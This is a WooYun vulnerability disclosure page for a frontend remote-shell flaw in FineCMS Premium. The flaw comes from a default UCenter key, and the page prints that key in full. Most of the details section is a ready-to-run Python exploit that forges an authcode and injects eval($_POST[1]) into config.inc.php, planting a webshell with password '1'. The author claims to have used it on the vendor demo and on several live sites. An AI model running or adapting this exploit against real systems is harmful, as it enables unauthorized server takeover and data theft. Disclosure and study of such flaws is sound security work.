当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141125

漏洞标题:FineCMS高级版前台getshell(demo成功)

相关厂商:dayrui.com

漏洞作者: 路人甲

提交时间:2015-09-15 10:13

修复时间:2015-12-19 10:14

公开时间:2015-12-19 10:14

漏洞类型:默认配置不当

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-15: 细节已通知厂商并且等待厂商处理中
2015-09-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-14: 细节向核心白帽子及相关领域专家公开
2015-11-24: 细节向普通白帽子公开
2015-12-04: 细节向实习白帽子公开
2015-12-19: 细节向公众公开

简要描述:

demo也shell了哦

详细说明:

看到\member\api\uc.php

define('DISCUZ_ROOT', dirname(dirname(dirname(__FILE__))).'/member/ucenter/');
include DISCUZ_ROOT.'api/uc.php';


就是包含了uc的那个插件。但是这个功能只有高级版才有,免费版没有
然后uckey都是默认的

8808cer8o1UJsEpt2G2Jn0uhEn/YgEva589Mfo0


然后就可以直接getshell了
附上脚本

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys

def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/member/ucenter/config.inc.php,password:1"

if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/member/api/uc.php"
print get_shell(url,key,host)

漏洞证明:

先来个demo的shell

http://**.**.**.**/member/ucenter/config.inc.php


QQ截图20150914174533.jpg


然后再来几个案例

http://**.**.**.**//member/ucenter/config.inc.php


http://**.**.**.**/member/ucenter/config.inc.php


http://**.**.**.**/member/ucenter/config.inc.php


http://**.**.**.**/member/ucenter/config.inc.php


http://**.**.**.**/member/ucenter/config.inc.php


密码都是1

QQ截图20150914174745.jpg

QQ截图20150914174750.jpg

QQ截图20150914174755.jpg

修复方案:

随机化key

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-19 10:14

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无